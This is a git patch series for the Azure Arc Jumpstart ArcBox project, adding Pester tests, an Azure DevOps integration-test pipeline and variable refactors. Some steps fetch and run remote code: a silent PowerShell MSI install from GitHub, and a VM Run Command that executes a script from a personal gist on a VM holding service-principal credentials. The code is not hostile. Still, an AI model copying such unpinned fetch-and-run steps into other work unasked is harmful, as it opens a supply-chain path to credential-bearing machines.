b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index c4b26a4e3e..223d4d19d8 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -150,7 +150,6 @@ $url = "https://github.com/PowerShell/PowerShell/releases/latest" $latestVersion = (Invoke-WebRequest -UseBasicParsing -Uri $url).Content | Select-String -Pattern "v[0-9]+\.[0-9]+\.[0-9]+" | Select-Object -ExpandProperty Matches | Select-Object -ExpandProperty Value $downloadUrl = "https://github.com/PowerShell/PowerShell/releases/download/$latestVersion/PowerShell-$($latestVersion.Substring(1,5))-win-x64.msi" Invoke-WebRequest -UseBasicParsing -Uri $downloadUrl -OutFile .\PowerShell7.msi -msiexec.exe /package PowerShell7.msi /quiet ADD_EXPLORER_CONTEXT_MENU_OPENPOWERSHELL=1 ADD_FILE_CONTEXT_MENU_RUNPOWERSHELL=1 ENABLE_PSREMOTING=1 REGISTER_MANIFEST=1 USE_MU=1 ENABLE_MU=1 ADD_PATH=1 Start-Process msiexec.exe -Wait -ArgumentList '/I PowerShell7.msi /quiet ADD_EXPLORER_CONTEXT_MENU_OPENPOWERSHELL=1 ADD_FILE_CONTEXT_MENU_RUNPOWERSHELL=1 ENABLE_PSREMOTING=1 REGISTER_MANIFEST=1 USE_MU=1 ENABLE_MU=1 ADD_PATH=1' Remove-Item .\PowerShell7.msi From 986130b5096699e9ee3741fbc184115fa863b53a Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Mon, 15 Jan 2024 14:35:11 +0200 Subject: [PATCH 069/456] Add tests to verify infrastructure and display results on wallpaper using BGInfo --- .../artifacts/DataOpsLogonScript.ps1 | 20 +++++++++++++ .../artifacts/tests/dataops.tests.ps1 | 30 +++++++++++++++++++ 2 files changed, 50 insertions(+) diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index 85773492b3..479e94b2b5 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -343,6 +343,26 @@ if ($null -ne (Get-ScheduledTask -TaskName "DataOpsLogonScript" -ErrorAction Sil Start-Sleep -Seconds 5 +Write-Header "Running tests to verify infrastructure" + +Invoke-Pester -Path "$Env:ArcBoxTestsDir\common.tests.ps1" -Output Detailed -PassThru -OutVariable tests_common +$tests_passed = $tests_common.Passed.Count +$tests_failed = $tests_common.Failed.Count + +Invoke-Pester -Path "$Env:ArcBoxTestsDir\dataops.tests.ps1" -Output Detailed -Output Detailed -PassThru -OutVariable tests_dataops +$tests_passed = $tests_passed + $tests_dataops.Passed.Count +$tests_failed = $tests_failed + $tests_dataops.Failed.Count + +Write-Output "Tests succeeded: $tests_passed" +Write-Output "Tests failed: $tests_failed" + +Write-Header "Adding deployment test results to wallpaper using BGInfo" + +Set-Content "$Env:windir\TEMP\arcbox-tests-succeeded.txt" $tests_passed +Set-Content "$Env:windir\TEMP\arcbox-tests-failed.txt" $tests_failed + +bginfo.exe $Env:ArcBoxTestsDir\arcbox-bginfo.bgi /timer:0 /NOLICPROMPT + # Executing the deployment logs bundle PowerShell script in a new window Write-Header "Uploading Log Bundle" Invoke-Expression 'cmd /c start Powershell -Command { diff --git a/azure_jumpstart_arcbox/artifacts/tests/dataops.tests.ps1 b/azure_jumpstart_arcbox/artifacts/tests/dataops.tests.ps1 index e69de29bb2..9a8969141a 100644 --- a/azure_jumpstart_arcbox/artifacts/tests/dataops.tests.ps1 +++ b/azure_jumpstart_arcbox/artifacts/tests/dataops.tests.ps1 @@ -0,0 +1,30 @@ + +BeforeDiscovery { + + $capiArcDataClusterName = $env:capiArcDataClusterName + $aksArcClusterName = $env:aksArcClusterName + $aksdrArcClusterName = $env:aksdrArcClusterName + + $clusters = @($capiArcDataClusterName, $aksArcClusterName, $aksdrArcClusterName) + $dataControllers = @("${capiArcDataClusterName}-dc", "${aksArcClusterName}-dc", "${aksdrArcClusterName}-dc") + $sqlInstances = @("capi-sql", "aks-sql", "aks-dr-sql") + + $spnpassword = ConvertTo-SecureString $env:spnClientSecret -AsPlainText -Force + $spncredential = New-Object System.Management.Automation.PSCredential ($env:spnClientId, $spnpassword) + + $null = Connect-AzAccount -ServicePrincipal -Credential $spncredential -Tenant $env:spntenantId -Subscription $env:subscriptionId +} + +Describe "" -ForEach $clusters { + BeforeAll { + $cluster = $_ + } + It "Cluster exists" { + $clusterObject = Get-AzConnectedKubernetes -ClusterName $cluster -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId + $clusterObject | Should -Not -BeNullOrEmpty + } + It "Azure Arc Connected cluster is connected" { + $connectedCluster = Get-AzConnectedKubernetes -Name $cluster -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId + $connectedCluster.ConnectivityStatus | Should -Be "Connected" + } +} \ No newline at end of file From 6ed039a1d3145ca076261f4752e228d00182f0b5 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Mon, 15 Jan 2024 18:13:11 +0200 Subject: [PATCH 070/456] Remove unnecessary 'az account set' command --- azure_jumpstart_arcbox/artifacts/installCAPI.sh | 1 - azure_jumpstart_arcbox/artifacts/installK3s.sh | 1 - 2 files changed, 2 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/installCAPI.sh b/azure_jumpstart_arcbox/artifacts/installCAPI.sh index b40e11e971..54f8d2765b 100644 --- a/azure_jumpstart_arcbox/artifacts/installCAPI.sh +++ b/azure_jumpstart_arcbox/artifacts/installCAPI.sh @@ -53,7 +53,6 @@ sudo -u $adminUsername az extension add --name k8s-extension echo "Log in to Azure" sudo -u $adminUsername az login --service-principal --username $SPN_CLIENT_ID --password $SPN_CLIENT_SECRET --tenant $SPN_TENANT_ID subscriptionId=$(sudo -u $adminUsername az account show --query id --output tsv) -sudo -u $adminUsername az account set -s $subscriptionId export AZURE_RESOURCE_GROUP=$(sudo -u $adminUsername az resource list --query "[?name=='$stagingStorageAccountName']".[resourceGroup] --resource-type "Microsoft.Storage/storageAccounts" -o tsv) az -v diff --git a/azure_jumpstart_arcbox/artifacts/installK3s.sh b/azure_jumpstart_arcbox/artifacts/installK3s.sh index 0417b1c1ce..ccfa513ce9 100644 --- a/azure_jumpstart_arcbox/artifacts/installK3s.sh +++ b/azure_jumpstart_arcbox/artifacts/installK3s.sh @@ -79,7 +79,6 @@ echo "" echo "Log in to Azure" sudo -u $adminUsername az login --service-principal --username $SPN_CLIENT_ID --password $SPN_CLIENT_SECRET --tenant $SPN_TENANT_ID subscriptionId=$(sudo -u $adminUsername az account show --query id --output tsv) -sudo -u $adminUsername az account set -s $subscriptionId az -v echo "" From 58de4c8f6cfa5c2a30801c8c87c8fc12ed078e63 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Wed, 17 Jan 2024 19:01:32 +0200 Subject: [PATCH 071/456] Add custom location and data controller variables This commit adds two new variables, $customLocation and $dataController, to the PowerShell script. These variables are used to store the custom location and data controller names for each cluster. This change enables the script to create custom locations and deploy the Azure Arc Data Controller on each cluster. --- .../artifacts/DataOpsLogonScript.ps1 | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index 479e94b2b5..10d796a6f6 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -181,6 +181,9 @@ $clusters | Foreach-Object -ThrottleLimit 5 -Parallel { $cluster = $_ $context = $cluster.context $clusterName = $cluster.clusterName + $customLocation = $cluster.customLocation + $dataController = $cluster.dataController + Start-Transcript -Path "$Env:ArcBoxLogsDir\DataController-$context.log" Write-Host "Deploying arc data services on $clusterName" Write-Host "`n" @@ -204,17 +207,17 @@ $clusters | Foreach-Object -ThrottleLimit 5 -Parallel { } while ($podStatus -eq "Nope") Write-Host "Bootstrapper pod is ready!" - $connectedClusterId = az connectedk8s show --name $cluster.clusterName --resource-group $Env:resourceGroup --query id -o tsv - $extensionId = az k8s-extension show --name arc-data-services --cluster-type connectedClusters --cluster-name $cluster.clusterName --resource-group $Env:resourceGroup --query id -o tsv + $connectedClusterId = az connectedk8s show --name $clusterName --resource-group $Env:resourceGroup --query id -o tsv + $extensionId = az k8s-extension show --name arc-data-services --cluster-type connectedClusters --cluster-name $clusterName --resource-group $Env:resourceGroup --query id -o tsv Start-Sleep -Seconds 10 - az customlocation create --name $cluster.customLocation --resource-group $Env:resourceGroup --namespace arc --host-resource-id $connectedClusterId --cluster-extension-ids $extensionId --kubeconfig $cluster.kubeConfig --only-show-errors + az customlocation create --name $customLocation --resource-group $Env:resourceGroup --namespace arc --host-resource-id $connectedClusterId --cluster-extension-ids $extensionId --kubeconfig $cluster.kubeConfig --only-show-errors Start-Sleep -Seconds 20 # Deploying the Azure Arc Data Controller $context = $cluster.context - $customLocationId = $(az customlocation show --name $cluster.customLocation --resource-group $Env:resourceGroup --query id -o tsv) + $customLocationId = $(az customlocation show --name $customLocation --resource-group $Env:resourceGroup --query id -o tsv) $workspaceId = $(az resource show --resource-group $Env:resourceGroup --name $Env:workspaceName --resource-type "Microsoft.OperationalInsights/workspaces" --query properties.customerId -o tsv) $workspaceKey = $(az monitor log-analytics workspace get-shared-keys --resource-group $Env:resourceGroup --workspace-name $Env:workspaceName --query primarySharedKey -o tsv) Copy-Item "$Env:ArcBoxDir\dataController.parameters.json" -Destination "$Env:ArcBoxDir\dataController-$context-stage.parameters.json" @@ -235,7 +238,7 @@ $clusters | Foreach-Object -ThrottleLimit 5 -Parallel { Write-Host "Deploying arc data controller on $clusterName" Write-Host "`n" - az deployment group create --resource-group $Env:resourceGroup --name $cluster.dataController --template-file "$Env:ArcBoxDir\dataController.json" --parameters "$Env:ArcBoxDir\dataController-$context-stage.parameters.json" + az deployment group create --resource-group $Env:resourceGroup --name $dataController --template-file "$Env:ArcBoxDir\dataController.json" --parameters "$Env:ArcBoxDir\dataController-$context-stage.parameters.json" Write-Host "`n" Do { From f71737dc0377c8c205aa4e64ae51ada28b3eeae4 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Wed, 17 Jan 2024 19:29:36 +0200 Subject: [PATCH 072/456] Update DataOpsLogonScript.ps1 to use variables for cluster name and data controller --- azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index 10d796a6f6..ae617b33a8 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -264,10 +264,12 @@ $Env:WORKSPACE_ID = $(az resource show --resource-group $Env:resourceGroup --nam $Env:WORKSPACE_SHARED_KEY = $(az monitor log-analytics workspace get-shared-keys --resource-group $Env:resourceGroup --workspace-name $Env:workspaceName --query primarySharedKey -o tsv) foreach($cluster in $clusters){ - $Env:MSI_OBJECT_ID = (az k8s-extension show --resource-group $Env:resourceGroup --cluster-name $cluster.clusterName --cluster-type connectedClusters --name arc-data-services | convertFrom-json).identity.principalId + $clusterName = $cluster.clusterName + $dataController = $cluster.dataController + $Env:MSI_OBJECT_ID = (az k8s-extension show --resource-group $Env:resourceGroup --cluster-name $clusterName --cluster-type connectedClusters --name arc-data-services | convertFrom-json).identity.principalId az role assignment create --assignee $Env:MSI_OBJECT_ID --role 'Monitoring Metrics Publisher' --scope "/subscriptions/$Env:subscriptionId/resourceGroups/$Env:resourceGroup" - az arcdata dc update --name $cluster.dataController --resource-group $Env:resourceGroup --auto-upload-metrics true - az arcdata dc update --name $cluster.dataController --resource-group $Env:resourceGroup --auto-upload-logs true + az arcdata dc update --name $dataController --resource-group $Env:resourceGroup --auto-upload-metrics true + az arcdata dc update --name $dataController --resource-group $Env:resourceGroup --auto-upload-logs true } Write-Header "Deploying App" From 3de5ccb8b83954eed59d492f19f92a5bef1e85de Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Thu, 18 Jan 2024 08:55:17 +0200 Subject: [PATCH 073/456] Refactor test script invocation in DataOpsLogonScript.ps1 --- azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index ae617b33a8..1eb46b06b0 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -354,7 +354,7 @@ Invoke-Pester -Path "$Env:ArcBoxTestsDir\common.tests.ps1" -Output Detailed -Pas $tests_passed = $tests_common.Passed.Count $tests_failed = $tests_common.Failed.Count -Invoke-Pester -Path "$Env:ArcBoxTestsDir\dataops.tests.ps1" -Output Detailed -Output Detailed -PassThru -OutVariable tests_dataops +Invoke-Pester -Path "$Env:ArcBoxTestsDir\dataops.tests.ps1" -Output Detailed -PassThru -OutVariable tests_dataops $tests_passed = $tests_passed + $tests_dataops.Passed.Count $tests_failed = $tests_failed + $tests_dataops.Failed.Count From ec624671638960b948b1e67a774e208bd4e408b4 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Thu, 18 Jan 2024 12:19:43 +0200 Subject: [PATCH 074/456] Add OpenSSL Light package using WinGet --- azure_jumpstart_arcbox/artifacts/dsc/dataops.dsc.yml | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/azure_jumpstart_arcbox/artifacts/dsc/dataops.dsc.yml b/azure_jumpstart_arcbox/artifacts/dsc/dataops.dsc.yml index 57d3cf9aed..d1bb0659d1 100644 --- a/azure_jumpstart_arcbox/artifacts/dsc/dataops.dsc.yml +++ b/azure_jumpstart_arcbox/artifacts/dsc/dataops.dsc.yml @@ -44,4 +44,12 @@ properties: settings: id: Microsoft.AzureDataStudio source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: ShiningLight.OpenSSL.Light + directives: + description: Install OpenSSL light + settings: + id: ShiningLight.OpenSSL.Light + source: winget + configurationVersion: 0.2.0 \ No newline at end of file From 1f3e0e5788ad645cb629058e572007d20e9dde2e Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 19 Jan 2024 20:15:46 +0000 Subject: [PATCH 075/456] Added ADO pipeline and scripts for ArcBox integration tests Signed-off-by: Jan Egil Ring --- .../integration_tests/arcbox_itpro.yml | 96 ++++++++++++++ .../scripts/Get-PesterResult.ps1 | 27 ++++ .../scripts/Send-PesterResult.ps1 | 118 ++++++++++++++++++ .../scripts/Wait-ArcBoxDeployment.ps1 | 21 ++++ 4 files changed, 262 insertions(+) create mode 100644 azure_jumpstart_arcbox/artifacts/integration_tests/arcbox_itpro.yml create mode 100644 azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Get-PesterResult.ps1 create mode 100644 azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 create mode 100644 azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Wait-ArcBoxDeployment.ps1 diff --git a/azure_jumpstart_arcbox/artifacts/integration_tests/arcbox_itpro.yml b/azure_jumpstart_arcbox/artifacts/integration_tests/arcbox_itpro.yml new file mode 100644 index 0000000000..356e9985b1 --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/integration_tests/arcbox_itpro.yml @@ -0,0 +1,96 @@ +trigger: + branches: + include: + - arcbox_3.0 + paths: + include: + - azure_jumpstart_arcbox/* + +parameters: +- name: ResourceGroupName + displayName: 'Resource Group Name' + type: string + default: 'arcbox-itpro-integration-tests' + +variables: + ResourceGroupName: ${{parameters.ResourceGroupName}} + +stages: +- stage: 'ArcBox_deployment' + jobs: + - job: Deploy + timeoutInMinutes: 235 # 5 minutes before the ACA self-hosted runner in order for the runner to gracefully shutdown + pool: + #name: arc-jumpstart-container-apps-pool + vmImage: 'ubuntu-latest' + continueOnError: 'true' + steps: + + - task: BicepInstall@0 + displayName: 'Install Bicep' + inputs: + version: 0.24.24 + + - task: AzurePowerShell@5 + displayName: 'Deploy resource group' + inputs: + azureSubscription: 'Azure Arc Jumpstart Develop(98a19988-5c3d-4824-a685-f5cf12ae5c19)' + ScriptType: 'InlineScript' + azurePowerShellVersion: 'LatestVersion' + Inline: | + Write-Host "Running deployment from machine $(hostname) and public IP $(irm ifconfig.me/ip)" + $RGname = "$(ResourceGroupName)" + New-AzResourceGroup -Name $RGname -Location "eastus" + + - task: AzurePowerShell@5 + displayName: 'Deploy Bicep template' + inputs: + azureSubscription: 'Azure Arc Jumpstart Develop(98a19988-5c3d-4824-a685-f5cf12ae5c19)' + ScriptType: 'InlineScript' + azurePowerShellVersion: 'LatestVersion' + Inline: | + Write-Host "Deploying to $(ResourceGroupName)" + New-AzResourceGroupDeployment -Name ArcBox -ResourceGroupName $(ResourceGroupName) -TemplateFile scenarios/arcbox/main.bicep -TemplateParameterFile scenarios/arcbox/arcbox-demo.parameters.json + + - task: AzurePowerShell@5 + displayName: 'Upload Pester test-results from ArcBox VM' + inputs: + azureSubscription: 'Azure Arc Jumpstart Develop(98a19988-5c3d-4824-a685-f5cf12ae5c19)' + ScriptType: FilePath + azurePowerShellVersion: 'LatestVersion' + ScriptPath: 'azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Wait-ArcBoxDeployment.ps1' + ScriptArguments: -ResourceGroupName $(ResourceGroupName) + + - task: AzurePowerShell@5 + displayName: 'Download Pester test-results from storage account to pipeline agent' + inputs: + azureSubscription: 'Azure Arc Jumpstart Develop(98a19988-5c3d-4824-a685-f5cf12ae5c19)' + ScriptType: FilePath + azurePowerShellVersion: 'LatestVersion' + ScriptPath: 'azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Get-PesterResult.ps1' + ScriptArguments: -ResourceGroupName $(ResourceGroupName) + + - task: PublishTestResults@2 + displayName: 'Publish Test Results' + inputs: + testResultsFormat: NUnit + testResultsFiles: '$(System.DefaultWorkingDirectory)/testresults/*.xml' + +- stage: destroy + displayName: 'ArcBox_teardown' + #condition: succeeded('deploy') + jobs: + - deployment: + displayName: "Get approval" + environment: 'teardown_approval' + - job: Delete + steps: + - task: AzurePowerShell@5 + displayName: 'Delete resource group' + inputs: + azureSubscription: 'Azure Arc Jumpstart Develop(98a19988-5c3d-4824-a685-f5cf12ae5c19)' + ScriptType: 'InlineScript' + azurePowerShellVersion: 'LatestVersion' + Inline: | + Write-Host "Deleting resource group $(ResourceGroupName)" + Remove-AzResourceGroup -Name $(ResourceGroupName) -Force \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Get-PesterResult.ps1 b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Get-PesterResult.ps1 new file mode 100644 index 0000000000..50940255ac --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Get-PesterResult.ps1 @@ -0,0 +1,27 @@ +param( + [Parameter(Mandatory=$true)] + [string]$ResourceGroupName +) + +Write-Host "Getting Pester test-result files from storage account in resource group $ResourceGroupName" + +$path = $ENV:SYSTEM_DEFAULTWORKINGDIRECTORY + "/testresults" +$null = New-Item -ItemType Directory -Force -Path $path + +$StorageAccount = Get-AzStorageAccount -ResourceGroupName $ResourceGroupName +$ctx = New-AzStorageContext -StorageAccountName $StorageAccount.StorageAccountName -UseConnectedAccount +$blobs = Get-AzStorageBlob -Container "testresults" -Context $ctx + +foreach ($blob in $blobs) { + + $destinationblobname = ($blob.Name).Split("/")[-1] + $destinationpath = "$path/$($destinationblobname)" + + try { + Get-AzStorageBlobContent -Container "testresults" -Blob $blob.Name -Destination $destinationpath -Context $ctx -ErrorAction Stop + } + catch { + Write-Error -Message "Failed to download blob $blob.Name" + } + +} \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 new file mode 100644 index 0000000000..db5793c2a9 --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 @@ -0,0 +1,118 @@ +Start-Transcript -Path C:\ArcBox\logs\Get-PesterResult.log -Force + +Write-Output "Get-PesterResult.ps1 started in $(hostname.exe) as user $(whoami.exe) at $(Get-Date)" + +$timeout = New-TimeSpan -Minutes 180 +$endTime = (Get-Date).Add($timeout) +$logFilePath = "C:\ArcBox\Logs\ArcServersLogonScript.log" + +Write-Output "Waiting for PowerShell transcript end in $logFilePath" + +do { + + if (Test-Path $logFilePath) { + Write-Output "Log file $logFilePath exists" + + $content = Get-Content -Path $logFilePath -Tail 5 + if ($content -like "*PowerShell transcript end*") { + Write-Output "PowerShell transcript end detected in $logFilePath at $(Get-Date)" + break + } else { + Write-Output "PowerShell transcript end not detected in $logFilePath at $(Get-Date) - waiting 60 seconds" + } + } else { + Write-Output "Log file $logFilePath does not yet exist - waiting 60 seconds" + } + if ((Get-Date) -ge $endTime) { + throw "Timeout reached. PowerShell transcript end not found." + } + Start-Sleep -Seconds 60 +} while ((Get-Date) -lt $endTime) + +$spnpassword = ConvertTo-SecureString $env:spnClientSecret -AsPlainText -Force +$spncredential = New-Object System.Management.Automation.PSCredential ($env:spnClientId, $spnpassword) + +$null = Connect-AzAccount -ServicePrincipal -Credential $spncredential -Tenant $env:spntenantId -Subscription $env:subscriptionId -Scope Process + +$StorageAccount = Get-AzStorageAccount -ResourceGroupName $env:resourceGroup + +$ctx = New-AzStorageContext -StorageAccountName $StorageAccount.StorageAccountName -UseConnectedAccount + +New-AzStorageContainer -Name testresults -Context $ctx -Permission Off + + +Write-Output "Running Pester tests" + +$Env:ArcBoxDir = "C:\ArcBox" +$Env:ArcBoxLogsDir = "$Env:ArcBoxDir\Logs" +$Env:ArcBoxTestsDir = "$Env:ArcBoxDir\Tests" + +Import-Module -Name Pester -Force + +$config = [PesterConfiguration]::Default +$config.TestResult.Enabled = $true +$config.TestResult.OutputPath = "$Env:ArcBoxLogsDir\common.tests.xml" +$config.Output.CIFormat = "AzureDevops" +$config.Run.Path = "$Env:ArcBoxTestsDir\common.tests.ps1" +Invoke-Pester -Configuration $config + +switch ($env:flavor) { + 'DevOps' { + $config = [PesterConfiguration]::Default + $config.TestResult.Enabled = $true + $config.TestResult.OutputPath = "$Env:ArcBoxLogsDir\devops.tests.xml" + $config.Output.CIFormat = "AzureDevops" + $config.Run.Path = "$Env:ArcBoxTestsDir\devops.tests.ps1" + Invoke-Pester -Configuration $config +} + 'DataOps' { + $config = [PesterConfiguration]::Default + $config.TestResult.Enabled = $true + $config.TestResult.OutputPath = "$Env:ArcBoxLogsDir\dataops.tests.xml" + $config.Output.CIFormat = "AzureDevops" + $config.Run.Path = "$Env:ArcBoxTestsDir\dataops.tests.ps1" + Invoke-Pester -Configuration $config + } + 'ITPro' { + $config = [PesterConfiguration]::Default + $config.TestResult.Enabled = $true + $config.TestResult.OutputPath = "$Env:ArcBoxLogsDir\itpro.tests.xml" + $config.Output.CIFormat = "AzureDevops" + $config.Run.Path = "$Env:ArcBoxTestsDir\itpro.tests.ps1" + Invoke-Pester -Configuration $config +} + 'Full' { + $config = [PesterConfiguration]::Default + $config.TestResult.Enabled = $true + $config.TestResult.OutputPath = "$Env:ArcBoxLogsDir\devops.tests.xml" + $config.Output.CIFormat = "AzureDevops" + $config.Run.Path = "$Env:ArcBoxTestsDir\devops.tests.ps1" + Invoke-Pester -Configuration $config + + $config = [PesterConfiguration]::Default + $config.TestResult.Enabled = $true + $config.TestResult.OutputPath = "$Env:ArcBoxLogsDir\dataops.tests.xml" + $config.Output.CIFormat = "AzureDevops" + $config.Run.Path = "$Env:ArcBoxTestsDir\dataops.tests.ps1" + Invoke-Pester -Configuration $config + + $config = [PesterConfiguration]::Default + $config.TestResult.Enabled = $true + $config.TestResult.OutputPath = "$Env:ArcBoxLogsDir\itpro.tests.xml" + $config.Output.CIFormat = "AzureDevops" + $config.Run.Path = "$Env:ArcBoxTestsDir\itpro.tests.ps1" + Invoke-Pester -Configuration $config + } +} + +Write-Output "Uploading file to Azure Storage" + +Get-ChildItem $Env:ArcBoxLogsDir -Filter *.xml | ForEach-Object { + $blobname = "$($_.Name)" + Write-Output "Uploading file $($_.Name) to blob $blobname" + Set-AzStorageBlobContent -File $_.FullName -Container testresults -Blob $blobname -Context $ctx +} + +Write-Output "Get-PesterResult.ps1 finished at $(Get-Date)" + +Stop-Transcript \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Wait-ArcBoxDeployment.ps1 b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Wait-ArcBoxDeployment.ps1 new file mode 100644 index 0000000000..d3e7b7ccb0 --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Wait-ArcBoxDeployment.ps1 @@ -0,0 +1,21 @@ +param( + [Parameter(Mandatory=$true)] + [string]$ResourceGroupName +) + +Write-Host "Starting VM Run Command to wait for deployment and retrieve Pester test results from ArcBox-Client in resource group $ResourceGroupName" + +$Location = (Get-AzVM -ResourceGroupName $ResourceGroupName).Location +Set-AzVMRunCommand -ResourceGroupName $ResourceGroupName -VMName ArcBox-Client -RunCommandName RetrievePesterResults -Location $Location -SourceScriptUri "https://gist.githubusercontent.com/janegilring/0df14b6b45cde9ebc3060aad995ce173/raw/337a867488b532ccfaece62b5c805d3a31d44c2b/Send-PesterResult.ps1" -AsyncExecution + +do { + $job = Get-AzVMRunCommand -ResourceGroupName $ResourceGroupName -VMName ArcBox-Client -RunCommandName RetrievePesterResults -Expand InstanceView + + Write-Host "Instance view of job:" -ForegroundColor Green + $job.InstanceView + Start-Sleep -Seconds 60 + +} while ($job.InstanceView.ExecutionState -eq "Running") + +Write-Host "Job completed" -ForegroundColor Green +$job \ No newline at end of file From 3f4db8acb309fdc48ebb97de16ba091d90f7766a Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 19 Jan 2024 20:31:42 +0000 Subject: [PATCH 076/456] Added parameters file for ITPro Signed-off-by: Jan Egil Ring --- .../arcbox_itpro.parameters.json | 33 +++++++++++++++++++ .../integration_tests/arcbox_itpro.yml | 13 +++++++- 2 files changed, 45 insertions(+), 1 deletion(-) create mode 100644 azure_jumpstart_arcbox/artifacts/integration_tests/arcbox_itpro.parameters.json diff --git a/azure_jumpstart_arcbox/artifacts/integration_tests/arcbox_itpro.parameters.json b/azure_jumpstart_arcbox/artifacts/integration_tests/arcbox_itpro.parameters.json new file mode 100644 index 0000000000..4d13fcd5b2 --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/integration_tests/arcbox_itpro.parameters.json @@ -0,0 +1,33 @@ +{ + "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#", + "contentVersion": "1.0.0.0", + "parameters": { + "sshRSAPublicKey": { + "value": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCsdlSaF10Uw0fFysiIV0VYeJGE1CaV0ZjZcakcKgafiqZ04sAzf7KnoIjPVyx6LXoDTKGtv1e5eFjRZA7Z0Bu+a3JqY252/yr/B2R3Mu5qZHbKFncpVEXn7sUmYk4rDG5vToFxbhpKX5EGyvM1M0quoUv3Uv9reBsSDdjk7n7oA2Q+89rj4nfRuTEMQRwvNBaLeNRSlWuzPq4EkpwxSWRzIC2auC5K0rxGiTMPTXMOQ3l0DvzKRoEsygHA4c3uw0PTntSlgSSTgtGdQfuX63hAD4QPTVfeQdsW5+Nq3clr+6SHgeGdwHhKjUVTF+E2olfSYtuV4CqPW8dZdDBOZg7pXLMSVumZVKCZiUV6uBJkvLBRMzMiFsfXOVrgyThMqq+8y4tg/V3l/3S8z5Lngy4WoCAQMHQ1SloPmy9s4QnbjCFEQx/cIq9H+Uw6HAYhdQFh/w/tuIP+KIqOpMOrltZuaoqx3AOOL3BPXJMbv3opiZxCEZQFf68n+Zn6uRc9u1EENA9s1DrjG1j/CHWzbX/t63Ig/xQLgKLu9T+evua3dcWsYc3j1Gvk8R+ioXV7x0/fi6twrhSQxBIIL0D2Pxm8TBfJ3mVXk0kYGGq1mBsoxAzjoBhcbdwUMXHbAksj4/UuuAK5VfH278hlXo/BHSgDLZ98fdS63nq7rIr6qWmBrQ==" + }, + "windowsAdminUsername": { + "value": "arcdemo" + }, + "logAnalyticsWorkspaceName": { + "value": "arcbox-la" + }, + "flavor": { + "value": "ITPro" + }, + "deployBastion": { + "value": false + }, + "githubAccount": { + "value": "microsoft" + }, + "githubBranch": { + "value": "arcbox_3.0" + }, + "vmAutologon": { + "value": true + }, + "rdpPort": { + "value": "3390" + } + } +} diff --git a/azure_jumpstart_arcbox/artifacts/integration_tests/arcbox_itpro.yml b/azure_jumpstart_arcbox/artifacts/integration_tests/arcbox_itpro.yml index 356e9985b1..cc9d1f562a 100644 --- a/azure_jumpstart_arcbox/artifacts/integration_tests/arcbox_itpro.yml +++ b/azure_jumpstart_arcbox/artifacts/integration_tests/arcbox_itpro.yml @@ -50,7 +50,18 @@ stages: azurePowerShellVersion: 